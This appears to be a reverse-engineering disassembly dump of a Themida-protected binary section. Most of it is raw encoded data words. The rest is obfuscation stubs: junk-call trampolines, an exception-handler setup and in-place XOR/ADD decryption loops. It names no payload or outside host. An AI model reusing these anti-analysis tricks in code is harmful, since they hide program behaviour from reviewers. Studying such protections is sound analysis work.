8B55610Eh dd 1533A5BDh, 25E906h, 8B600000h, 15010D9Dh, 61C38A06h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85000h db 0 byte_5C59C9 db 2 dup(0), 20h ; DATA XREF: Themida_:00579CC4o ; Themida_:0057C730o ; --------------------------------------------------------------------------- pop eax retn ; --------------------------------------------------------------------------- pop eax mov [esp+4], eax add dword ptr [esp+4], 19h inc eax push eax retn ; --------------------------------------------------------------------------- dw 21C5h dd 6B14A879h, 8BDFB70Fh, 152FA5BDh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 8AD7B348h dd 0DE904FAh, 2D000000h, 0E065C12Bh, 0CDA93A67h, 67FA3FE0h dd 1115BD83h, 0F030615h, 47E85h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 2634EC9h, 99BD83F9h dd 618BFh, 451840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0A84D18C3h, 0B589FDA8h dd 6151CE5h, 0BF99B5FFh, 6A0618h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0A03D31C3h, 1559D8Bh dd 95FF0615h, 61510E1h, 27199D8Bh, 0B58B0615h, 618BF8Dh dd 0C7ADD380h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 78B83723h, 9E938h, 5C6E0000h dd 23857E15h, 9603AA6Ah, 0AE9h, 93FD6900h, 0F927B4CEh dd 50FD0FB7h, 9890Fh, 53600000h, 7270BA5Eh, 9661277Fh dd 0D1D9D8Bh, 0B5FF0615h, 618BF99h, 0A099D01h, 95890615h dd 6150479h, 6A195FFh, 5E80615h, 0C000000h, 0B604DB46h dd 8DB58B5Bh, 6A0618BFh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 57D6C353h, 3B1CFC89h dd 59858Bh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 894D00C3h, 0C486h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0E6C6404Ch, 8B5BF850h, 15272195h, 0AD858906h, 8306152Eh dd 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 5E9786C3h, 16396EABh, 119D8919h, 8906152Dh dd 6A2050h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 3350F0C3h, 0B30C7B29h, 0EE9FBh, 0D5CF0000h dd 9B78E1D9h, 0E81CDB3Eh, 0AF9AB839h, 0D458858Dh, 6A0618h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 9EA5C4C3h, 0F021AAC0h, 660E3458h, 894880BBh, 0B886h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 1E57B599h, 6AE56F4Ch, 0FFD88B00h, 18BF99B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0CA9C5C27h, 9ED13D28h, 5E92854h, 8B000000h dd 635F0B1Fh, 1D4D95FFh, 0E3810615h, 39CB2A5Ch, 12E86050h dd 0FB000000h, 0F35B2256h, 3F1E08F1h, 927C5828h, 17F7426Eh dd 8B665B88h, 348961CEh, 0DFB70F24h, 0BF99B5FFh, 6A0618h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 8C3A70C3h, 0EF8166F2h, 95FFB894h, 6150729h, 65BD83h dd 0F000615h, 5784h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0B756B66Ah, 9D8BA8E2h dd 6152D51h, 0E9525096h, 0Bh, 6C1F562Eh, 2500D9F2h, 0F9341D0h dd 0B7525031h, 0BB310FF5h, 28BAC6FCh, 585A585Ah, 27BF6650h dd 9D899655h, 61528C5h, 0BF99B5FFh, 6A0618h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 8ADFFEC3h dd 0B23FE872h, 0B70FF592h, 69BD8BDFh, 0FF061524h, 15043995h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0D63B535Fh, 0BD8B6331h, 6152709h, 9E9h dd 2E313B00h, 5E6A0Fh, 0B5FF9430h, 618BF99h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 52C35141h, 0A38119AEh dd 1D8589B4h, 0FF061534h, 150DCD95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0A30C0B7Eh dd 0FE96391h, 0FB000000h, 555F6D05h, 2A3DA358h, 29CB63CDh dd 0BD835383h, 615285Dh, 24840F02h, 0E9000000h, 0Bh, 64A044C4h dd 64D430C0h, 8B01F2C4h, 15284985h, 7943BB06h, 0C6052Bh dd 0C9850100h, 0C706152Dh, 1523F585h, 6, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 1E07BE6Eh, 458589FCh, 0E9061513h, 0FFFFF31Ch, 0A7FFF781h dd 0C18B7DBCh, 68F0Fh, 0BD290000h, 6150005h, 25459D09h dd 858D0615h, 615279Dh, 0E8E62ABBh, 52505053h, 0BE8h, 0B190A600h dd 694A05C6h, 21A31C04h, 5FF98B66h, 585A310Fh, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 65CEC350h, 0DD4A71A7h, 6A6EB309h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0BB2A5B1Bh, 0E37482DCh, 1605BD89h, 6A0615h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 89C35545h, 858DDD67h dd 619C635h, 2C759D03h, 0C0830615h, 5090FC05h, 8B0Fh, 66900000h dd 6A2AA8BFh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 58317D19h, 0A096F0BFh, 0DFB70F06h dd 22D1BD8Bh, 6A0615h, 0CE4969BBh, 7995FF61h, 8D061526h dd 189C158Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 891609D3h, 15179185h, 6296BF06h dd 0D1FF4258h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0C9C35343h, 41F8B500h, 8BADA26Bh, 152F899Dh, 0B5BD8306h dd 106152Dh, 42850Fh, 8B660000h, 89026ADEh, 1520B9B5h dd 830F5006h, 8, 2890Fh, 0FE8B0000h, 89240489h, 1528A985h dd 4D95FF06h, 0E906151Dh, 14h, 0F6EBEFDBh, 2A0C649Ch, 0DB9C9BE6h dd 1D2D126Ah, 5D26DB58h, 0F81E9h, 0E800h, 815D0000h, 19C63FEDh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 160B2A4h, 150821BDh, 25B52906h, 61061511h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DDC35747h dd 8973E778h, 150E11BDh, 0F9858D06h, 6A061888h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0BA49C350h, 0F6A66E9h, 584h, 1068BF00h, 8531377Ah, 6150D71h dd 0AD25DB81h, 0BB90731Eh, 2530DF59h, 16A4BB50h, 8B905195h dd 35FF64FAh, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5C6123 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6123 proc near ; CODE XREF: Themida_:005C611Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5C6123 endp ; --------------------------------------------------------------------------- xor [esi], eax mov large fs:0, esp clc inc dword ptr [ebp+6151535h] mov [ebp+6150765h], edi loc_5C6149: ; CODE XREF: Themida_:005C6F80j push 0FFFFFFFFh push 0 push esi call sub_5C6156 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6156 proc near ; CODE XREF: Themida_:005C614Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5C6156 endp ; --------------------------------------------------------------------------- dw 0D4DCh dd 1B15A370h, 0B5FF76F7h, 61523E1h, 13870Fh, 0EE90000h dd 43000000h, 280FBCFBh, 58150E88h, 0FC4D2463h, 0BD95FF60h dd 0E9061508h, 15Bh, 8100B0F8h, 47441D3h, 8970E627h, 1530159Dh dd 8B71E406h, 150A11BDh, 0F613C06h, 13A83h, 12E900h, 92840000h dd 0A99914A6h, 0E15873A2h, 40FA8EC9h, 0C52FFBA4h, 89C8B60Fh dd 1518F5B5h, 6BA06h, 0BF0F0000h, 56C18BFAh, 31958B60h dd 8906151Ah, 1527A19Dh, 0C15F6106h, 0B58904E8h, 6150CADh dd 0FE2F766h, 1E80h, 10E86000h, 89000000h, 0E47CCAB8h dd 95E868DEh, 6E8A3h, 5B3D31C8h, 8C0Fh, 0E9610000h, 13h dd 365842E9h, 3D0438A5h, 26CE9515h, 0E9958EEAh, 2B21432Fh dd 0FE8A60C8h, 12870Fh, 0DE90000h, 0F9000000h, 0B2416102h dd 367B4BB4h, 95AB3B36h, 89D18B61h, 1507C1BDh, 6D952906h dd 0E9061521h, 87h, 0BE8h, 2CDADE00h, 0B0E651F7h, 0CC9EF94Ch dd 10DBD8Bh, 8B5B0615h, 885h, 8E900h, 0D14D0000h, 0ADDC9C0Eh dd 6EBF17E9h, 8323F7FEh, 9D8B07C0h, 6150C75h, 0F900C083h dd 830FD03Bh, 0Eh, 9A5BB52h, 0E95F3271h, 37h, 8D8BFE8Bh dd 0FFFFFFFFh, 109D9D89h, 0E1830615h, 20840F01h, 8B000000h dd 1517D1BDh, 0FFA58306h, 0FEFFFFFFh, 10519D8Bh, 95890615h dd 8, 0E91BB7h, 8D000000h, 194304B5h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0FDAAA401h, 12E896h db 2 dup(0) word_5C631E dw 0C284h ; DATA XREF: Themida_:00579C54o dd 27654EF3h, 6C14CB40h, 0F0011691h, 864A0078h, 0E026F781h dd 6A5F6B2Ah, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0AD89D02h, 0E2EAA2D6h, 95FFD1DDh dd 6152E21h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0DBC35141h, 0A3494FBBh, 1D85897Ch, 0F061515h, 68Eh dd 9DBD0900h, 0B9061510h, 1043h, 68B0F60h, 33000000h, 151A5595h dd 6870F06h, 89000000h, 1521E98Dh, 0E1836106h, 55006AFCh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0E8541B94h, 11h, 0F5FCB0B6h, 0C8A86DC4h, 22F4F229h dd 200F4401h, 0EE937h, 0AC180000h, 7B2FD1FCh, 0D37CA7DAh dd 0CA6EAAD7h, 0BD01605Bh, 6151359h, 225BD89h, 0FC610615h dd 0B8DFBF0Fh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5C6423 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6423 proc near ; CODE XREF: Themida_:005C641Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5C6423 endp ; --------------------------------------------------------------------------- db 0B4h dd 71AE3ADAh, 199D8BB3h, 2B061502h, 57006AD2h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 81AFE01Dh dd 0D3811C99h, 69B6424Eh, 12E9h, 0B9D15E00h, 0ED057B10h dd 116D8F10h, 29B0C9DBh, 0AD59B3CAh, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 3139C357h, 15256995h, 880D06h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0D981EFC3h, 0B92FFFF5h, 0B59D23D6h, 8B061517h dd 15272195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 512C1C3Fh, 7E94Dh, 1B560000h, 252F5B3Eh dd 0CD8D8BE5h, 6A061504h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0E730C351h, 0BD8B4A3Bh dd 6150BA1h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0D92B85C3h, 6A79EFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0F5B6EBC3h, 0A9BD8346h dd 61518h, 9C840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 28CC7FC3h, 0C99D8B5Fh dd 0F06151Ch, 68Dh, 618D8900h, 0B806151Ah, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5C65D7 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C65D7 proc near ; CODE XREF: Themida_:005C65CFp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5C65D7 endp ; --------------------------------------------------------------------------- adc eax, 4865194Ah sub eax, 1B09A8Bh mov ebp, 6152585h add edi, [ebp+6151135h] lea ecx, [ebp+6154F9Eh] push 0 push esi call sub_5C660D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C660D proc near ; CODE XREF: Themida_:005C6605p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5C660D endp ; --------------------------------------------------------------------------- db 20h, 8, 0E7h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- push cs pop esi pop esp mov edi, [ebp+6152571h] jmp ecx ; --------------------------------------------------------------------------- sub [ebp+6152965h], edx cmp dword ptr [ebp+6151115h], 0 jz loc_5C6ABE or di, 4940h cmp dword ptr [ebp+6151115h], 1 jz loc_5C6AD9 mov [ebp+61527C1h], ebx cmp dword ptr [ebp+6151115h], 3 jbe loc_5C6AA3 mov bx, 1A8Ah pusha push 0 push ebp call sub_5C6674 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6674 proc near ; CODE XREF: Themida_:005C666Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5C6674 endp ; --------------------------------------------------------------------------- mov fs, word ptr [eax-3709207Fh] adc al, 1Bh mov cx, ds and ebx, 2A0032DDh and ebx, [ebp+6150225h] and cl, 4 push 0 push ebp call sub_5C66A9 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C66A9 proc near ; CODE XREF: Themida_:005C66A1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5C66A9 endp ; --------------------------------------------------------------------------- db 0AAh, 9Ah, 0B9h ; --------------------------------------------------------------------------- dec ebx dec esi lea ecx, [edx] leave jz loc_5C67F6 push 0 push edi call sub_5C66D2 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C66D2 proc near ; CODE XREF: Themida_:005C66CAp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5C66D2 endp ; --------------------------------------------------------------------------- dw 0F6Ch dd 0E8Ch, 0BD036000h, 615002Dh, 2B158501h, 8B610615h, 15249D85h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0C0D932F2h, 9D8B0E5Fh, 6152D41h, 2F819589h dd 8B0F0615h, 6, 0FC1BD8Bh, 85330615h, 61519B5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 2DC35545h, 0B7506F1Bh dd 2404891Ah, 6799509h, 6A0615h, 59B8C781h, 4E87D8Ah, 0FF000000h dd 0E8001F03h, 5, 335F5BCEh, 0FA8B660Eh, 8F0F505Fh, 0 dd 424448Bh, 0E87FB460h, 6, 0CCC8D57Ch, 0AE88483h, 6D000000h dd 0ADC017FFh, 0A92F2F05h, 615B5A68h, 0BB66008Bh, 44893EE8h dd 0F98B0424h, 0AD95FF58h, 8906150Dh, 18BF9985h, 3EE9FC06h dd 6A000002h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0E4FBC355h, 438B542Fh, 2351B589h db 15h, 6 ; --------------------------------------------------------------------------- loc_5C67F6: ; CODE XREF: Themida_:005C66C1j mov eax, [ebp+618BF91h] jz loc_5C6808 xor [ebp+6152AA1h], edx loc_5C6808: ; CODE XREF: Themida_:005C67FCj mov dword ptr [eax], 18h push 0 push eax call sub_5C6819 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6819 proc near ; CODE XREF: Themida_:005C6811p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5C6819 endp ; --------------------------------------------------------------------------- cwde or edx, [esi] or esp, esp or bx, 0D185h mov esi, [ebp+618BF95h] push 0 push edi call sub_5C6844 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6844 proc near ; CODE XREF: Themida_:005C683Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5C6844 endp ; --------------------------------------------------------------------------- dd 3CC39D0Fh, 13E9h, 0DCF2C100h, 0A0D524ABh, 640012CFh dd 505DB220h, 0ED7281E6h, 189D8D89h, 858B0615h, 6150C45h dd 14E8h, 90E1C100h, 0DFB64522h, 702072B2h, 0AE43861Fh dd 0C373FB18h, 0D595893Ah, 5B061518h, 6A0689h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0DEBD25C3h, 8B55FE07h, 15249D85h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 2FBBFB20h dd 0FE8B2905h, 6A044689h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 27BFC356h, 2A6DB529h dd 0D98B0615h, 12E996h, 21350000h, 1E105689h, 0C151AB7h dd 0B3075985h, 8A16F884h, 0BF525050h, 1D778214h, 850F310Fh dd 6, 820Fh, 585A0000h, 0DD9D8B96h, 0FF06150Bh, 18BF91B5h dd 0D3816606h, 0FEB38EBEh, 4E8h, 1F03FF00h, 35BF5000h dd 8B1AB5A5h, 66042444h, 8BFA8Bh, 5880Fh, 7BBF0000h, 89774CF7h dd 0E8042444h, 13h, 6503BACBh, 40884A9Ah, 0E7641522h, 8F4A7B3Fh dd 5BCF8787h, 14E958h, 83680000h, 0C321AF00h, 0C4EB95E0h dd 9F99820Bh, 4062446h, 858D7A73h, 618BF99h, 50EFC780h dd 4755BF50h, 895F135Ch, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0F7B539C3h, 66BD3660h dd 0FFFAD0BFh, 150DAD95h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 2ABB6637h dd 6A6156h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0EFA0B5C3h, 85C7B926h, 6151115h, 3, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E9C35040h, 0B271FFB7h dd 78BB6604h, 99BD83B4h, 618BFh, 39840Fh, 0BE90000h, 2D000000h dd 86368B39h, 0EE9B08E4h, 3FE9459Fh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 9156C353h, 0C1C78158h db 0E9h, 0E1h, 62h ; --------------------------------------------------------------------------- loc_5C6AA3: ; CODE XREF: Themida_:005C665Ej ; Themida_:005C6ABAj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5C6AA3 jmp short loc_5C6AF4 ; --------------------------------------------------------------------------- loc_5C6ABE: ; CODE XREF: Themida_:005C6639j ; Themida_:005C6AD5j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5C6ABE jmp short loc_5C6AF4 ; --------------------------------------------------------------------------- loc_5C6AD9: ; CODE XREF: Themida_:005C664Bj ; Themida_:005C6AF0j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5C6AD9 jmp short $+2 loc_5C6AF4: ; CODE XREF: Themida_:005C6ABCj ; Themida_:005C6AD7j mov eax, eax push 0 push esi call sub_5C6B01 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6B01 proc near ; CODE XREF: Themida_:005C6AF9p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5C6B01 endp ; --------------------------------------------------------------------------- db 1Ch, 0BAh, 0CEh ; --------------------------------------------------------------------------- mov ebp, 179DBD23h adc eax, 53006A06h call sub_5C6B26 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6B26 proc near ; CODE XREF: Themida_:005C6B1Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5C6B26 endp ; --------------------------------------------------------------------------- dw 0D3D7h dd 7ADFAE80h, 0A98BB48h, 0BD8346E6h, 6151115h, 31850F03h dd 0F9000004h, 832BCB80h, 18BF99BDh, 840F0006h, 420h, 15820Fh dd 9E80000h, 60000000h, 0B5CF593Dh, 0F160E8ADh, 1065BD33h dd 0FF5B0615h, 18BF99B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 39D00D6Bh dd 0FCBFB10h, 68Fh, 3D858900h, 0FF061504h, 1510E195h, 4319BF06h dd 8BFC2C1Bh, 18BF8DB5h, 41852906h, 0C7061529h, 1000106h dd 965B5600h, 0DA8B5250h, 8B66310Fh, 50585ADEh, 5E9h, 3D61E600h dd 57963F10h, 0CF9BD89h, 0FF5B0615h, 18BF99B5h, 13810F06h dd 0E9000000h, 0Eh, 99B05934h, 0F653AC1Dh, 9E3D6FB4h, 95FF7BE8h dd 61506A1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0B5C35646h, 603B3EFBh, 1A4D9D89h, 8B610615h, 18BF8DB5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 8CE43A18h, 17F19531h, 858B0615h, 6150059h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 24C35141h dd 1D9DF9EDh, 0C48689C8h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0EF25C355h dd 2825BD89h, 958B0615h, 6152721h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0C3C35141h, 0E96E68Fh, 38289F5Bh dd 831BDF80h, 816604C2h, 897A0DD7h, 6A2050h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 858DF3C3h dd 618D458h, 5C19D0Bh, 86890615h, 0B8h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ah, 89C35141h, 0B28D022Dh dd 8B57F3C8h, 151CFD9Dh, 0E7815B06h, 17D19D95h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0F8B429C3h, 0D3B952A6h, 0D81BD29h, 0FE80615h, 3000000h dd 0FD78A3A5h, 0F2E4E02Ch, 95B19161h, 0BD8BE502h, 615005Dh dd 99B5FF5Bh, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 4361C356h, 89630B73h dd 15251DBDh, 259D8B06h, 0FF06152Bh, 151D4D95h, 0A1958906h dd 57061519h, 8959D8Bh, 505B0615h, 0CE8h, 6617E500h, 55EC2678h dd 8CA91BB7h, 14E9600Bh, 81000000h, 17D2F689h, 39548BDh dd 0B445D8AEh, 0D4024A34h, 0E99ADF8Eh, 13h, 6EA6BCC4h dd 1A42630Eh, 0B357FB2h, 0F8C154BDh, 61383B2Dh, 2434895Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 2EC35343h dd 0BB66D002h, 0B5FF2761h, 618BF99h, 4880F56h, 66000000h dd 5BF25CBFh, 72995FFh, 0CF810615h, 2BA25792h, 65BD83h dd 0F000615h, 2E84h, 0D19D3300h, 6006151Ch, 8899D31h, 8B530615h dd 966159D9h, 8E850h, 0EF2B0000h, 6F809A7Bh, 0D8BFDCC9h dd 5F0F6E98h, 0FD8D8996h, 0FF06152Fh, 18BF99B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 70412F77h, 9D23FBF6h, 6152EE1h, 10ADBD8Bh, 95FF0615h dd 6150439h, 0E96BBF66h, 0BF99B5FFh, 6A0618h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0BA0F1C3h dd 0CD95FFFEh, 6A06150Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 853DC350h, 0F921B460h dd 58C0Fh, 81660000h, 8390EFCFh, 15285DBDh, 840F0206h dd 3Ah, 0AD9D8956h, 5F061510h, 2849858Bh, 0BD8B0615h, 615140Dh dd 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 6539C353h, 27499D8Bh, 85C70615h dd 61523F5h, 0 ; --------------------------------------------------------------------------- jmp loc_5C6149 ; --------------------------------------------------------------------------- push 0 push edx call sub_5C6F90 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6F90 proc near ; CODE XREF: Themida_:005C6F88p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5C6F90 endp ; --------------------------------------------------------------------------- dd 28C85101h, 211BEF4Bh, 0C18BACF7h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0BFC35343h, 0FE8BDh, 658E0000h dd 0AE89E967h, 24832C86h, 1D9DF9EDh, 0C9BD2BC8h, 5B061510h dd 28598509h, 858D0615h, 615279Dh, 1A498D89h, 0E8500615h dd 9, 62B2C6Eh, 254E891h, 5B87B36Eh, 6A240489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0EF17C350h, 0FC396437h, 6A2AB12Ch, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0CB2B9FD4h, 0ECA5251h, 6AB747h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 18C35141h, 0ED38A4DFh, 1C819D8Bh dd 858D0615h, 619D742h, 14598589h, 0C0830615h, 4895005h dd 0BE924h, 0C1A90000h, 0E1326AFBh, 8629D4A3h, 56006AA5h dd 5B88EF80h, 8166006Ah, 0FFF0A1F3h, 15267995h, 8DF98B06h dd 189C158Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0C7C3EE77h, 2631C300h, 66D1FF5Bh dd 0BD83DF8Bh, 6152DB5h, 7E850F01h, 6A000000h, 51006A02h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 3E9B78E1h, 50901CDBh, 5800F52h, 0BF000000h, 1EABB94Dh dd 0CE9310Fh, 31000000h, 5AB0C4B2h, 0B965C01Fh, 5A78A2CCh dd 0B9B35058h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 8F34435h, 4D95FF40h, 6006151Dh dd 0EB8CF8Bh, 61383555h, 0D91E24BBh, 104AE975h, 0E80000h dd 5D000000h, 0D74CED81h, 6A0619h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0ED7EADC3h, 12D329BBh dd 8A90CBDCh, 0F9858DF9h, 6A061888h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0E4E9C356h dd 0F98B6675h, 608765BFh, 83B3905Ch, 90DF8B50h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E1C35141h, 7654ECF7h dd 0FF646D61h, 35h, 9DF8000h, 258964h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 1712C352h, 572A61FDh, 68C0Fh, 